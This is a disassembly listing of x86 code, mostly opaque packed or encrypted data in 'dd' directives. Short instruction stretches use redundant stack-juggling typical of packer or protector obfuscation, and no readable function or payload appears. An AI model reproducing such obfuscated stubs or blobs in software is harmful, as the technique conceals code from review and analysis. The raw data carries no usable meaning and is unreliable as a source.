		dd 5E983CFh, 0FE8C88Bh,	0E3000000h, 0B3363EFCh,	2891C685h
		dd 9E1E59AAh, 6E8EC0Bh,	90000000h, 618821D2h, 0F59584Fh
		dd 0A86h, 61606000h, 8E5858Bh, 816106A6h, 6A93C1h, 0C78B6600h
		dd 0E461D4BFh, 0BDF7813Fh, 603FE47Bh, 14E9h, 7AA98100h
		dd 0C99727F2h, 8E68D494h, 0CCF2516Bh, 1E95E5CDh, 118B6122h
		dd 9CD8531h, 0EA8106A6h, 16CE40E0h, 85DB589h, 0C28106A6h
		dd 36C7865Fh, 0A1BD8960h, 5006A62Bh, 1AA19D8Bh,	615B06A6h
		dd 18EEEA81h, 0CE90694h, 8A000000h, 8E95557Ah, 0C1DB09CEh
		dd 899C3D35h, 6D8D2911h, 8306A607h, 8C0F04E9h, 6, 3459858Bh
		dd 0EF8106A6h, 1, 1E850Fh, 5E90000h, 0BB000000h, 758B56B2h
		dd 25E9h, 0B3A8EE00h, 965EC837h, 4E94DB36h, 0B1639380h
		dd 65D9509h, 73E906A6h,	0C7FFFFFFh, 0E46196Dh, 0B5BACD8Bh
		dd 0A55B752Ah, 0CC75667Ch, 0EFCE337Ch, 463AF021h, 4EB71710h
		dd 0DBDD1738h, 8AEC337Ch, 0E6CBF029h, 693646E1h, 9600327Ah
		dd 0C0C89564h, 0CF6736F9h, 32557Ch, 0F52B9FCh, 27BD3316h
		dd 0CF76337Fh, 96F86A5Ch, 0CBB97FF5h, 0CBEA77FDh, 0CF673367h
		dd 0AE70623Dh, 30633C82h, 4C4E7E66h, 696896C1h,	0C64E337Ah
		dd 0E0008EFFh, 0BBCE35DAh, 44346365h, 0CBB08BBCh, 4A50337Ch
		dd 0C94A19ADh, 6A1AAEF1h, 1CC435D4h, 721E6B27h,	0C9681CE1h
		dd 9F70477Ch, 0CBB08B2Fh, 4A50337Ch, 0C94A19ADh, 6D2DAEF1h
		dd 1CC435D4h, 0CFF76B27h, 0CFCDDB2Ch, 9747337Ch, 8B3A6BBFh
		dd 8B583758h, 0CFF43758h, 9F36337Ch, 0AE3ABABFh, 3ACE4C7Ah
		dd 9CCE5926h, 0CF673094h, 0CE8137Ch, 0EB85BA27h, 0EBA8B278h
		dd 0CF762978h, 0C68707Ch, 32EB7BF4h, 44D94236h,	9F6759BCh
		dd 0CFB33094h, 0C81137Ch, 0EBA8BA24h, 0EB32B278h, 0CF3B2678h
		dd 0CCD737Ch, 43A80DC8h, 67BEB8A4h, 4D373C78h, 0A5D93378h
		dd 0CC04667Ch, 0EF76337Ch, 4666F021h, 4E991710h, 0D6CA1738h
		dd 8A67337Ch, 7489F029h, 788E97B0h, 0D6C18EFFh,	0C07635DAh
		dd 0CF3B18F8h, 989D597Ch, 0CFCE3094h, 0C38137Ch, 0EBCFBA23h
		dd 0EB9DB278h, 0CFEC2778h, 0C21747Ch, 1CB05564h, 0DFB4BE5Fh
		dd 0E52735DAh, 33673378h, 0CF9433C2h, 78D6537Eh, 0CFEADABFh
		dd 0D0D7337Ch, 1A5C22BDh, 4E20B81Dh, 42C8957Bh,	66ED03F9h
		dd 9EB3597Ah, 0CFD93094h, 0CB5137Ch, 0EB3ABA25h, 0EB7FB278h
		dd 0CF9D2678h, 0C9F727Ch, 1F98D6BCh, 4AA5C1FCh,	2F5D3CBCh
		dd 4EEC337Ch, 5835E78Fh, 9803B213h, 0C066B21Ah,	0CFCE1EF9h
		dd 0A99FB97Ch, 0CDB74BFDh, 2C5D3C7Eh, 0A5EC337Fh, 0CC9E647Ch
		dd 0EF3B337Ch, 46C2F023h, 4ECA1700h, 0D8631738h, 88B3337Ch
		dd 77CBF02Bh, 4E8A53F1h, 0C016AF44h, 0CF3BA5F9h, 9C9D597Ch
		dd 0CFCE3094h, 0C3C137Ch, 0EBEFBA27h, 0EB9DB278h, 0CFEC2578h
		dd 0C25707Ch, 0E422C8B2h, 6984E6F1h, 0CDB6B37Ah, 0A7E23C94h
		dd 9DB3337Ch, 0FB4CBEF5h, 0A9B335DAh, 0CF704BFDh, 9BBE3CD7h
		dd 0A59D337Ch, 0CC26657Ch, 0EF67337Ch, 46EDF022h, 4EDD1708h
		dd 0DAE81738h, 8976337Ch, 0F55AF02Ah, 9E2FECFCh, 0E257A655h
		dd 263835DAh, 0CFB33036h, 27883316h, 0CFEC337Fh, 96B56A5Ch
		dd 0CB1F7FF5h, 0CBB977FDh, 0CFCE3365h, 0C3A4623Dh, 9692164Fh
		dd 5A6C1AE7h, 71EA9573h, 8977327Ch, 276D3316h, 0CF9D337Fh
		dd 910D6D5Ch, 0CB4347F5h, 0CB9777FDh, 0CFD9336Ah, 0AD2F653Ah
		dd 4AFB5AD2h, 0C992B94Ch, 27CB3316h, 0CFCE337Fh, 91A46D5Ch
		dd 0CB9747F5h, 0CBFD77FDh, 0CFEC336Bh, 29B5653Ah, 0AF8648D4h
		dd 0E1B4BE4Fh, 7C9D35DAh, 30066B1Ch, 2A36BAACh,	4ADF954Dh
		dd 55683CBCh, 0A576337Eh, 0CCD3607Ch, 0EF9D337Ch, 4695F027h
		dd 4E631720h, 0D5B71738h, 8CD9337Ch, 3160F02Fh,	0A989C5F0h
		dd 715D53ACh, 26CBE290h, 0CFCE3374h, 0F9365421h, 0E7B48BC0h
		dd 0F7585224h, 0CDEE0E1Ah, 0CF60B673h, 755D337Ch, 3522D6B3h
		dd 4EA4114Ch, 0F2013504h, 4BBC4923h, 0CFD9311Ah, 53D4B21Ah
		dd 65F33C1Ch, 0C03B337Ch, 0CF9D3FFFh, 0C9403C7Ch, 4667337Ch
		dd 69A306E1h, 0CDA1B37Ah, 41693C94h, 0A576337Ch, 0CCD3607Ch
		dd 0EF9D337Ch, 4695F027h, 4E631720h, 0D5B71738h, 8CD9337Ch
		dd 0D747F02Fh, 146968F2h, 0CF3DDB73h, 3498337Ch, 44360C92h
		dd 96B9B81Ah, 0C9CBB21Ah, 4AD6F37Ch, 0CFEC332Dh, 27233316h
		dd 0CF3B337Fh, 925E6E5Ch, 0CBEA5FF5h, 0CB4377FDh, 0CFB3336Bh
		dd 0AF1A6639h, 467C4006h, 6967F6C9h, 0CEE3DA7Ah, 0AE27337Ch
		dd 27F9E09Fh, 0CF673368h, 6AEA701Bh, 4AC9F06Dh,	82DDCBF9h
		dd 0E8E6FF3Bh, 0E491F1F9h, 8A08B82Bh, 95C89556h, 0CE678D26h
		dd 0C55B4D7Dh, 4FD9337Ch, 0A031DB9Ch, 9DBCDD30h, 0EB6B8A9h
		dd 909B9555h, 45FEB6F1h, 0CF0D35D5h, 0CFB0DB2Eh, 95F9337Ch
		dd 9B6569BFh, 8BF73758h, 0CF2F3758h, 9DDF337Ch,	1F3157BFh
		dd 27313316h, 0CFB3337Fh, 911A6D5Ch, 0CBC847F5h, 0CB5277FDh
		dd 0CF3B336Bh, 0B55E653Ah, 0A9DF81F0h, 0ACF0C1FDh, 5B78B21Ah
		dd 0C019B631h, 0CFED2FF8h, 9F76597Ch, 0CF3B3094h, 0CC5137Ch
		dd 0EB8ABA24h, 0EB23B278h, 0CFB32978h, 0C89737Ch, 0ACF13563h
		dd 4F15A127h, 4A34DB44h, 0CF9D333Fh, 0CFC6DA1Ch, 0DC71337Ch
		dd 7D779717h, 0C030E805h, 9EEC337Ch, 0B22669AFh, 0BF38E41Eh
		dd 32B0C184h, 4FAFC3F3h, 0C0143604h, 0CFB325F9h, 0D644BA7Ch
		dd 4FEA956Eh, 0C0253404h, 0CF3BEAF8h, 3200B87Ch, 0A9C89555h
		dd 0CAE80BFDh, 0CF10B673h, 0CFB3337Ch, 0CFEFDB2Eh, 9556337Ch
		dd 9BB269BFh, 8B1C3758h, 0CFD83758h, 9D25337Ch,	376CCFBFh
		dd 0CE7CA6F7h, 1F6635DAh, 0A7704BFCh, 0CF48B673h, 0CFF7337Ch
		dd 0CFCDDB2Dh, 9647337Ch, 833A6ABFh, 8B583758h,	0CFF83758h
		dd 9E37337Ch, 34B0A5BFh, 0C4E5B21Ah, 4AC11683h,	0CF673335h
		dd 27E53316h, 0CFD9337Fh, 912F6D5Ch, 0CB5247F5h, 0CB1F77FDh
		dd 0CF9D336Bh, 430D653Ah, 0A96CC9A7h, 14DDF2FDh, 0CFD97695h
		dd 9CEC597Ch, 0CF763094h, 0C60137Ch, 0EBC1BA27h, 0EB8AB278h
		dd 0CF672B78h, 0CE0707Ch, 2FB175A7h, 0C02C187Ch, 0CF7635F5h
		dd 0CAA6B87Ch, 269B9566h, 0CFCE3350h, 0CF673E95h, 2E21327Ch
		dd 9E10297Fh, 0E74F663Ch, 0CECECAA0h, 263B337Ch, 0CF9D336Ch
		dd 0D1ECD877h, 715AFC2Dh, 6D09BB28h, 0F47FB09Ah, 4614B82Ch
		dd 428F1778h, 647E11C1h, 0D410BE7Ah, 77C89837h,	0B801665Fh
		dd 0CEAAB67Fh, 0F235DAh, 678DDABDh, 5B4D7DCEh, 0D9337CC5h
		dd 31DB9C4Fh, 0BCDD30A0h, 0B6B8A99Dh, 8395550Eh, 0A4F305E9h
		dd 9D015358h, 6A62FE1h,	6DBD8B5Fh, 0B06A61Eh, 58840FC0h
		dd 89000000h, 0A60D999Dh, 55B58D06h, 0B806A64Fh, 3, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0C9C35343h, 0C6D41A14h
		dd 0F8827802h, 2A54BB74h, 6CBB524Ah, 0FF5958C6h, 0AE8E6h
		dd 0C92B0000h, 0F9395BE0h, 0C99C7101h, 9518D8Bh, 405906A6h
		dd 8BD38B66h, 0DE9C0h, 0B88C0000h, 7EE41C77h, 686D84C6h
		dd 0F2AD151h, 683h, 198D2900h, 8306A62Bh, 0A61EA5BDh, 9750006h
		dd 2F9DBD83h, 740006A6h, 8B535019h, 403B8C0h, 85890000h
		dd 6A61BF9h, 0A5D39D8Dh, 0D3FF06A8h, 0BD83585Bh, 6A62F9Dh
		dd 50177400h, 403B853h,	85890000h, 6A61BF9h, 0A2749D8Dh
		dd 0D3FF06A8h, 0F381585Bh, 1E810FC3h, 8BCF8B66h, 51006AC0h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0FE4B09DEh, 0E9F5C4B1h, 6, 25D20C6Ch, 958994AAh, 6A60F55h
		dd 8B8D8D61h, 6A06AB4Dh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0D009C353h,	8C6D2025h
		dd 0D080780Fh, 6870F02h, 89000000h, 0A61DAD95h,	0AD8D8906h
		dd 0F06A606h, 85C7F6BFh, 6A6040Dh, 67A0h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 15h, 0ADC35040h, 0EE9EAh
		dd 0C2280000h, 0F849A22Fh, 82192165h, 5F741E0Fh, 0A1C1BBBBh
		dd 0E985C704h, 6A60Bh, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 1182C356h
		dd 3ECFFC22h, 0B5FF40A7h, 6A61155h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 19h, 18C35040h, 943CF3B8h, 6E8B9h
		dd 0BBFD0000h, 0AC4D5419h, 0AE8h, 0B0F70500h, 5959BF37h
		dd 31125E3h, 0A61901B5h, 0F5E5E06h, 68Ch, 85B58900h, 0FF06A612h
		dd 0A61A7995h, 55006A06h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 34EE6E46h, 0B5896D74h
		dd 6A604F9h, 95FF006Ah,	6A62959h, 7EEBC08Bh, 98489A33h
		dd 0ADB964B7h, 2847A9E4h, 0B436D9F0h, 0D999242Fh, 47F43D9Dh
		dd 0D59B258Dh, 32E7C19Dh, 4C3994BCh, 0B08F410h,	800E8D26h
		dd 8FF74A53h, 4F56DE6Ah, 5B543FBAh, 3A33CB7Dh, 0F87FBFEDh
		dd 95CB1F4Bh, 0DA318F24h, 6B301D95h, 86D2403h, 25FAB58Ah
		dd 6D3ED502h, 0AFA788Ah, 0C12E0BF0h, 8E9AA192h,	0CE921CC5h
		dd 0D8409E25h, 8FF3D9D7h, 86557596h, 0E4CF8259h, 7CB9B5C3h
		dd 15E9F67Dh, 5E000000h, 3B30A6h, 4 dup(0)
		dd 592E9h, 9B717600h, 0CD27070Eh, 0FE14D570h, 2AC4E4A3h
		dd 5A8CB09Fh, 9621BCCFh, 0A6E13CEAh, 71DC6987h,	20D984Eh
		dd 0F77FCA20h, 0A7A5CE69h, 104B3367h, 9D776BD0h, 2060F2ECh
		dd 3C6D875Bh, 0BB690BB0h, 35FA9374h, 31433FA3h,	2E489E82h
		dd 11489E81h, 0B39AD7ADh, 0BD6B16AFh, 757598C1h, 87A7EE9Fh
		dd 0D8C03C6Dh, 806A78AAh, 0B1670A35h, 658E29B7h, 3A35CCE3h
		dd 0CCE37091h, 0D38C6635h, 69D46DE7h, 0A6E99046h, 810F6987h
		dd 0CCE3BDD6h, 3D37A335h, 0FB674588h, 0CCE33350h, 0D1CD2535h
		dd 0AF4565A8h, 0ACC576FEh, 0B235CCE3h, 49BB7758h, 0F0028EC8h
		dd 5CE93F22h, 0BFBA3CD0h, 8EF886BEh, 530AE0C1h,	0BCAE156Fh
		dd 0F3791D52h, 9C4EF703h, 0FFAE9A76h, 0CC73325Ch, 0C43EE435h
		dd 0FE3EA940h, 60E8F0h,	5BAA0000h, 84B06987h, 633531BEh
		dd 1CB3D677h, 0C235CCF0h, 0F32EAAD8h, 47F0FEBDh, 0C7C391CFh
		dd 0C3913F9Fh, 1A8h, 835B6A00h,	0EBF70F69h, 0FE14D61Ah
		dd 0C2B31206h, 0F4F21DB0h, 206F1Eh, 7DB80EEh, 9F3697EDh
		dd 0D57821CBh, 0E41F816h, 0DEDAB462h, 6F4B25A4h, 0DE7C715h
		dd 3FD595B0h, 0B95BA8E2h, 0D7973E6Fh, 30F0C3Dh,	840123F1h
		dd 0AD1148A2h, 9D964B1h, 560BBAE3h, 2612C4EFh, 8BF9B107h
		dd 87D78478h, 1FADF589h, 0F801A845h, 8A40F0FEh,	10000000h
		dd 0B580218Ah, 9CD135CCh, 0D9F77204h, 4A6846F1h, 0A029C660h
		dd 1D552F1Bh, 365BFC7Ah, 935CCE9h, 0CCE905AEh, 80BF2B35h
		dd 0C9EB582Ah, 2276E1Fh, 634FB1E8h, 0F721C311h,	8DEC269h
		dd 9239277Ah, 920C3DD3h, 875173C0h, 57B9AFE6h, 0B8CAE636h
		dd 0FEAAF53Ch, 0AABA21F0h, 0CFBB6D17h, 364CA680h, 3B5Dh
		dd 0DD7AC500h, 5A44E533h, 4F99BB08h, 13E7ED21h,	5660F69h
		dd 8CB7DE4Fh, 0C7B35909h, 196B27A6h, 0A2FF29CBh, 69835B68h
		dd 0E9759130h, 0F9A135CCh, 0A4D40F8Bh, 193F0FEh, 1F000000h
		dd 3D6C865Bh, 33AD092h,	56F721CCh, 0EA962F3Fh, 0A5910D3Ch
		dd 0E2101884h, 0A7DD2563h, 39E7475h, 4593BE25h,	5CA8BA24h
		dd 51FA64A1h, 3EB2D721h, 0B4DD7E04h, 0BA336AC7h, 259D3240h
		dd 0F319C904h, 21CB9FA6h, 0C7AAD978h, 2AE0336Ah, 0E08C2BD8h
		dd 0D3973C36h, 81A1EC39h, 0CF93326Bh, 0E0997776h, 0FA5B02FEh
		dd 0F319CD6Ah, 0D61A684Ah, 0BCB74FBCh, 483EB2D4h, 33379CD6h
		dd 85E300ABh, 1DF5336Ah, 0C8984721h, 0B152C26h,	3455BFACh
		dd 33D98DCAh, 23DAA80Ah, 0F658C888h, 13FC7h, 0DD7A4B00h
		dd 350FE70Dh, 0BD5C5B79h, 75709CD6h, 0BC50DE98h, 0FE7AB516h
		dd 6E84A5E5h, 89D7C33Fh, 0CC67852Eh, 253FAB35h,	0B270E492h
		dd 6118F23Eh, 88D63C2Eh, 0B5D43E23h, 0DF663B49h, 598FB20Bh
		dd 9BC2BE20h, 0ED9C7674h, 0FD5AE06Ch, 0DB4803E9h, 0CD336A4Ah
		dd 54BAAAD5h, 77BBC935h, 6316EE1Dh, 37E1B9BEh, 984AF98Bh
		dd 934E2772h, 27F6583Ah, 0C46A8B8h, 4953h, 0E71CDF00h
		dd 1DBE4422h, 35CCE9F4h, 0EC7200FAh, 0CCE9464Bh, 8BB228B5h
		dd 0CCE9DB48h, 0C53FF3B5h, 0F07E9B50h, 0E9A0C16Ah, 5CB6B5CCh
		dd 0B5129806h, 0B3045EB4h, 35CCE97Eh, 313F8A60h, 4D540BDDh
		dd 481A59F8h, 7FD2h, 8A7AB600h,	0C590EA7Ch, 39C59F1Bh
		dd 992741BCh, 8BD90F32h, 0B264B608h, 0A00B913Eh, 336A2803h
		dd 8A7BD15h, 86A4EB92h,	7476D16Ch, 0ACEF9Eh, 4E336A2Bh
		dd 0CE9C4E44h, 3E504220h, 322E1A66h, 23DE1FE7h,	0EAA08CEAh
		dd 0C8968250h, 1FB2D16Fh, 630DE538h, 5F0ED8C4h,	30BC1163h
		dd 0D3CD68Bh, 110DE3C2h, 4EEFC43h, 95EF2B65h, 2E48C500h
		dd 1E4FA581h, 9740AEA4h, 33E8E469h, 0FE08857Dh,	3A24E11Ch
		dd 0B9376391h, 0DD9B773Eh, 0A74FE457h, 5F413367h, 0B2B7DE89h
		dd 0B7166C58h, 15A04A18h, 0B92A8D0Bh, 0AF3367A7h, 0D0922133h
		dd 15C0033Ah, 0A27103D0h, 0F1741FC4h, 7F631AF0h, 0D321F183h
		dd 3BA3BB20h, 8BAD7390h, 918D6571h, 0D77CF6E8h,	0E1ACF913h
		dd 0F2722BC1h, 0F5291702h, 6796F880h, 0FCC9B972h, 47691634h
		dd 6C7CC391h, 0B4B4DB82h, 0C0EC235Ah, 5EF97716h, 718BF435h
		dd 444ECF3Bh, 0CED5CB4Eh, 67D32DBBh, 0D887CD8Bh, 4E92E00Ah
		dd 2EC4E634h, 0AC0F9593h, 718B1A07h, 4B3CE56Eh,	0B3ECF662h
		dd 0A4860D47h, 0D6EC204Eh, 2F535A01h, 0C62687DDh, 20h
		dd 0F869C248h, 0FE718BEEh, 7B6706ECh, 0C49CD6CCh, 79CB8A7Ah
		dd 96FE9C81h, 7415FBE9h, 920EF88Ah, 3168825Bh, 726CC9Eh
		dd 4AF325C8h, 93CA243Bh, 0E786507Ch, 2B5284A8h,	732AC4E4h
		dd 44E50FDCh, 96B75D09h, 0E68956A4h, 4C681h, 0EE830000h
		dd 24348704h, 6824248Bh, 7175h,	50241489h, 405E089h, 2D000000h
		dd 4, 5C240487h, 56241C89h, 695152BEh, 84B8504Bh, 25761865h
		dd 45E01788h, 35D0F7h, 31F63DE5h, 0F28958C6h, 4EC815Eh
		dd 89000000h, 4832424h,	505B0424h, 8B8h, 52D80100h, 9B242C81h
		dd 8F14AF29h, 9B008100h, 5814AF29h, 50241C8Bh, 405E089h
		dd 83000000h, 48704C0h,	148B5C24h, 0E1895124h, 4C181h
		dd 0C1830000h, 240C8704h, 29F1E95Ch, 63F4FFFBh,	0B8ED3B20h
		dd 6AB531Dh, 0E0FFC503h, 1264BBD3h, 26611CCEh, 3A917F4h
		dd 6A68CB5Eh, 3D3179EAh, 7243A116h, 78402F94h, 6FC9AEDBh
		dd 6A78862h, 7C23CAD5h,	32E9h, 0C9DF3900h, 59h,	0Ah dup(0)
		dd 0E9000000h, 4DAh, 19C7677h, 7FCA2006h, 0ACF913D0h, 902DC3E1h
		dd 0C05D8BB5h, 0E98B24B9h, 845BE23Fh, 4D70DF6Ah, 23070E9Bh
		dd 68F67CC9h, 67BDA2CFh, 111B433h, 2E3E875Bh, 1AB5D4C0h
		dd 2A15A076h, 0E94D238h, 0CCE904ADh, 0A2B02A35h, 0F41ECC03h
		dd 264BEC6Ah, 0D835CCE9h, 58B6E10Bh, 388CF3C4h,	12605C0Dh
		dd 0A04A1CB3h, 0E91B07F9h, 41AFBD1Ah, 67DE8C33h, 63BEAA7Ch
		dd 52EF3924h, 6F1EC8EBh, 619D0120h, 64A472CAh, 0D67B10DDh
		dd 0D835CC61h, 407EACE6h, 15019C2Bh, 0C4CC0039h, 0A7711CCEh
		dd 87A5026Ah, 0B6B41B69h, 0C4B05A0Fh, 18BB4BA5h, 0CD23010Dh
		dd 7F32229Ch, 48CB9930h, 35CC31DEh, 54D02208h, 0F0FE7CBDh
		dd 48FCh, 875BA600h, 0EDC5133Eh, 4C15B743h, 134A2676h
		dd 9A7076DDh, 0B0D877C8h, 240E35CCh, 0FD4F6AEEh, 10EF0FEh
		dd 0B4000000h, 3069835Bh, 4523C99Dh, 0DDA833C9h, 0B6CC7E66h
		dd 6E8F817h, 43B17967h,	0E23FD591h, 0D06D875Bh,	6FB95B86h
		dd 3DD7973Eh, 0F1030F0Ch, 5AD70123h, 6405EFF3h,	0ABD23829h
		dd 0CC3F551Dh, 0E5557D30h, 0CC94D172h, 0FBEBC735h, 582A2740h
		dd 0FEB876BDh, 0A655F0h, 810F0000h, 0CCF5BDD6h,	837A335h
		dd 2B97B658h, 0B95B1959h, 270D016Fh, 2FBD29F1h,	468DD97h
		dd 4AB4DD7Eh, 0BAAA35CCh, 9EC93554h, 0C0E12E24h, 4A52FF58h
		dd 6E4435CCh, 0A784CB72h, 0F0F11C4Dh, 60A82C1Eh, 8571759Bh
		dd 822F88E4h, 9435CCABh, 7A88103Eh, 0EF250DFBh,	48C5133Dh
		dd 54F523CDh, 9BC52B39h, 0F09F1A6Bh, 92E046ECh,	18FE533h
		dd 0CCC63D56h, 0DFB72335h, 7DEE5C28h, 559DD7E6h, 4A70BB3Fh
		dd 396FF0FEh, 0D3000000h, 0E60CDD7Ah, 0BA095B47h, 0A44E1396h
		dd 7C2D1985h, 41F82ED1h, 0E4364C46h, 47932EF8h,	293A835Bh
		dd 4C389AC3h, 0E950FE1Dh, 9C8635CCh, 0A4C7E266h, 186F0FEh
		dd 0C000000h, 2A3F865Bh, 3BB5D4C0h, 1E10E2CBh, 0CC2814BDh
		dd 0B0A01A35h, 66FC2EA8h, 69E709D9h, 13EF1F9Bh,	1D156B25h
		dd 9B77B47Dh, 4A56FEAFh, 13F9EA38h, 0FDF886h, 8B4DF566h
		dd 2A513EB2h, 40F9D53Bh, 0A9B75D0Dh, 0B7CD2302h, 658F53FAh
		dd 636E85C4h, 6E24336Ah, 812FE714h, 0B62D579Eh,	0BC30BE23h
		dd 6E5ABA1Ah, 51BBAF14h, 836979C4h, 5DB7ABDAh, 0BA212F2Ch
		dd 0A5194096h, 23F103AFh, 0DC58D53Fh, 0D07AA020h, 8DC7384Dh
		dd 58F6B950h, 12AF8F6h,	1CBA0000h, 9D7777E1h, 5806F2ECh
		dd 0B2FEC7FFh, 0BEA8D73Eh, 0DDC93554h, 0AB4161ACh, 81B231CDh
		dd 6729E0ACh, 0A3B1AD47h, 6983A7EEh, 0BDA810Fh,	0BD3D56E5h
		dd 0C523336Ah, 6ABDF112h, 1F0BE733h, 0BDADE045h, 5D513657h
		dd 1538D427h, 0ECA15B42h, 0B8AA196Bh, 0F259C752h, 924B19CFh
		dd 0F6586477h, 0AB4564C3h, 4DBED9h, 9B60000h, 1688B167h
		dd 0E71C045Ch, 1E934422h, 71B5CCE9h, 77F618CAh,	0C92A6D8Dh
		dd 910D3C28h, 3A256CC3h, 0A49F0ECh, 0B5CC6499h,	92077DB1h
		dd 19B2BC59h, 35CC6488h, 8A7AE4DEh, 9231CC5Bh, 0DF8FC844h
		dd 0D8AA1435h, 769799h,	7ACB0000h, 4409888Ah, 0C79DE0A7h
		dd 1947BE3Fh, 0B26A38BEh, 9AC43E3Eh, 3211DE6Ah,	0D9ABDDB1h
		dd 0B009D974h, 0D36E5A8Ch, 0ED9C7674h, 6A6C02AEh, 30424833h
		dd 9F2AC0E2h, 511FF6F7h, 1FBA3CE6h, 263B4238h, 2996D0CCh
		dd 37ABD238h, 32658E29h, 9F0B389Dh, 3D2D60C5h, 921EB6D7h
		dd 1DF8F560h, 0E63AF853h, 54C33E8h, 229CCD1Bh, 39D42836h
		dd 0A59B2F69h, 0E8227FF5h, 3A24E11Ch, 0B93D0191h, 0F37D553Eh
		dd 0EA789254h, 0EF5614BBh, 0E1E17C5h, 0A8AEBC74h, 25118DBCh
		dd 57BDADE8h, 6E84A209h, 1CB1C33Fh, 0C5CD72FDh,	0B792190h
		dd 56E309D9h, 5711FBEFh, 6811FBE8h, 224FE876h, 3453C2C1h
		dd 0EE2184DEh, 276910FEh, 677BA9DBh, 5515308Dh,	136E8EBFh
		dd 32000000h, 0E2748A7Ah, 8F32A198h, 0BF1323FDh, 0D7AD99EBh
		dd 825BF52Dh, 0CC9E3168h, 25C80726h, 243B4AF3h,	507C93CAh
		dd 84A8E786h, 0C4E42B52h, 0FDC732Ah, 5D0944E5h
		db 0B7h, 96h, 0A4h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	1E15h
		mov	[esp], esi
		push	5B7Fh
		mov	[esp], edx
		push	eax
		mov	eax, 6AB542Ch
		mov	esi, eax
		mov	eax, [esp]
		add	esp, 4
		push	5038h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		sub	esp, 4
		mov	[esp], esi
		pop	dword ptr [edx+8]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5527C7
; ---------------------------------------------------------------------------
		db 17h,	15h, 87h
		dd 3528B2ADh, 87B806CEh, 306AB58h, 0CAE0FFC5h, 0AB7FB9E6h
		dd 5A5371FCh, 0B8575300h, 52ED0BFh, 4C357464h, 20435A64h
		dd 46E5D3B2h, 106BE9BEh, 802D963h, 5D213132h, 4E8868F1h
		dd 45803516h, 80163516h, 11403132h, 0FBF560F1h,	1F0599B0h
		dd 8031BB6h, 1194BA32h,	81079724h, 0A7181C8Fh, 40E3134h
		dd 4001311Fh, 0A1FABA54h, 5CC28DD8h, 0A08D85Dh,	46B3132h
		dd 202D967h, 5C213132h,	0EC886CF1h, 4803516h, 20163516h
		dd 45443132h, 0C3B09F1h, 5551A185h, 20120DBh, 0DB55D132h
		dd 0C53E0068h, 0DBCA3433h, 1D7C5C71h, 805EDF26h, 0E0533158h
		dd 4013131h, 58C26B12h,	52565BBh, 842575B3h, 4001312Fh
		dd 49C26370h, 3FBEAC61h, 60295ECBh, 0F19402B0h,	8B07972Fh
		dd 0A7114CAFh, 0CC003E34h, 2A59CF16h, 23E96732h, 30013132h
		dd 815FF26Ch, 85051546h, 1A051576h, 47013132h, 12FEF264h
		dd 26AAE8ADh, 970AEAB3h, 1001BC3Dh, 0C8823132h,	51015B1Eh
		dd 20132DAh, 0C25C1132h, 0A46DB86Fh, 6445B036h,	20012D36h
		dd 0D3547432h, 3214F1DDh, 0F267FC4Dh, 0F794BA13h, 8A07971Ah
		dd 0A09BAE8h, 0CD8851C1h, 26A73003h, 0B6D9B054h, 8367506Bh
		dd 9188CD7Ah, 4A724C3h,	3738B054h, 41853ECDh, 4F013132h
		dd 200131B4h, 19C0B232h, 0E0573158h, 4013131h, 5CC26F12h
		dd 52545BBh, 842575B3h,	4001312Fh, 15C26774h, 44B0DFA7h
		dd 0EA60F457h, 0A8B3E10h, 62013132h, 10F0A439h,	5883794h
		dd 46A7149Bh, 0C938B153h, 10CCB43Dh, 86B3132h, 402D964h
		dd 5C213132h, 75886FF1h, 0C4803516h, 40153516h,	76473132h
		dd 518AC6F1h, 59015B33h, 40132DAh, 0C1581132h, 254DB86Bh
		dd 0A445B036h, 40012536h, 0E3507032h, 0C780578Eh, 0B528CD92h
		dd 2A7274Fh, 0BF88F931h, 7A701EFh, 6804F0B1h, 40013138h
		dd 0A20AF5D9h, 3447AEABh, 0B5003534h, 2A71BCFh,	3B80C469h
		dd 8A427AA2h, 8058B43Dh, 0BA8A3132h, 6F54BCBFh,	9B673794h
		dd 80289C3h, 46B3132h, 202D963h, 58213132h, 0CC8868F1h
		dd 4803516h, 20143516h,	41403132h, 81A5BBF1h, 0A22F3CB7h
		dd 0F28B6234h, 6BE0CE69h, 83E96432h, 60013132h,	0A95CF26Fh
		dd 9105155Eh, 10051576h, 41013132h, 809CF267h, 60AE0459h
		dd 68513158h, 40013131h, 78C26912h, 142575BBh, 0C2575B3h
		dd 4013128h, 61C26172h,	0CB817E4Eh, 3F0EC7E6h, 67BCBCCCh
		dd 0AD079A6Bh, 0BB5AF0BFh, 8B758934h, 813230A0h, 4A7221Bh
		dd 20C0FE19h, 46E5D3B2h, 106BE9BEh, 802D963h, 5D213132h
		dd 4E8868F1h, 45803516h, 5E98316h, 0C08BA4F3h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0AC35545h, 0CA813AF4h
		dd 4FFC8D35h, 0DE9h, 0C5722900h, 0A9AA588h, 771B9590h
		dd 0C38BB729h, 5D068D8Dh, 6A06ABh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 90490AC3h, 85B5179Ah
		dd 0D88B66A8h, 6AD8D89h, 6A06A6h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0C701F7C3h, 8B0F477Eh
		dd 0
		dd 40D85C7h, 6A5006A6h,	6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 0FE567FC3h, 95895616h
		dd 6A611F1h, 0E985C75Eh, 6A60Bh, 6A000000h, 3E85500h, 20000000h
